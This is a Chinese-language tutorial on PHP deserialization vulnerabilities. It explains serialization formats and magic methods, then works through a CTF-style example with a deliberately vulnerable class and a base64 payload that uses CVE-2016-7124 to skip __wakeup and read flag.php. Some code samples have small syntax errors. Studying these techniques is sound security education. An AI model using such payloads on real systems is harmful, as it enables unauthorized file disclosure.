反序列化漏洞
序列化
就是将对象的状态信息(属性)转换为可以存储或传输的形式的过程
对象--->序列化--->字符串
将对象或者数组转化为可储存/传输的字符串
序列化原因
-
持久化:对象是存储在
JVM
中的堆区的,但是如果JVM
停止运行了,对象也不存在了。序列化可以将对象转化成字节序列,可以写进硬盘文件中实现持久化。在新开启的JVM
中可以读取字节序列进行反序列化成对象。 -
网络传输:网络直接传输数据,但是无法直接传输对象,可在传输前序列化,传输完成后反序列化成对象。所以所有可在网络上传输的对象都必须是可序列化的。
private私有属性序列化时,在变量名前加“%00类名%00” 进行URL编码
就可以看到
protected受保护属性序列化时在变量名前加“%00*%00”
反序列化
-
反序列化之后的内容为一个对象
-
反序列化生成的对象里面的值,由反序列化里的值提供,与原有类预定义的值无关
-
反序列化不触发类的成员方法,需要调用方法才能触发
两个函数
序列化
serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象
<?php class test { private $flag = "flag{233}"; public $a = "aaa"; static $b = "bbb"; } $test = new test; $data = serialize($test); echo $data; ?>
O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";} O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
O:4:"test"
指Object(对象) 4个字符:test :2
对象属性个数为2 {}中为属性字符数:属性值
注意:可以看到testflag
的长度为8,序列化中却显示长度为10。这是因为它是private属性,翻阅文档就可以看到说明,它会在两侧加入空字节。
所以在传入序列化字符串进行反序列化时需要注意补齐两个空字节。
反序列化
<?php $str = 'O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D'; $data = urldecode($str); $obj = unserialize($data); var_dump($obj); ?>
魔术方法
在利用对PHP
反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
常见方法
__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
比较重要的方法
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup()
unserialize()
会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
__toString()
__toString()
方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
触发时机:把对象当成字符串调用
<?php class users { public $name; } $obj = new users('John'); print_r($obj);//正确的输出对象方式或者用var_dump()输出 echo $obj; //把对象当成字符串进行输出
__invoke()
当一个对象被作为函数调用时,PHP
会检查该对象是否实现了__invoke()
方法,如果实现了,那么该方法会被调用。
触发时机:把对象当函数使用
反序列化对象注入
绕过__wakeup()方法
示例:
<?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString() return '' ; } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #<!--key in flag.php-->
分析一下源码,__destruct
方法中show_source(dirname (__FILE__).'/'.$this ->file);
会读取file文件内容,我们需要利用这里来读flag.php
,思路大概就是构造序列化对象然后base64
编码传入,经过unserialize
将file设为flag.php
,但是__wakeup
会在unserialize
之前执行,所以要绕过这一点。
这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:
O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
绕过__wakeup:
O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
注意:因为file是protect属性,所以需要加上\00*\00。再base64
编码。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
pop链
在反序列化中,可以控制的数据对象就是对象中的属性值(成员变量),所以在php
反序列化中有一种漏洞利用方法叫“面向对象编程”
pop链
就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
字符串逃逸
反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸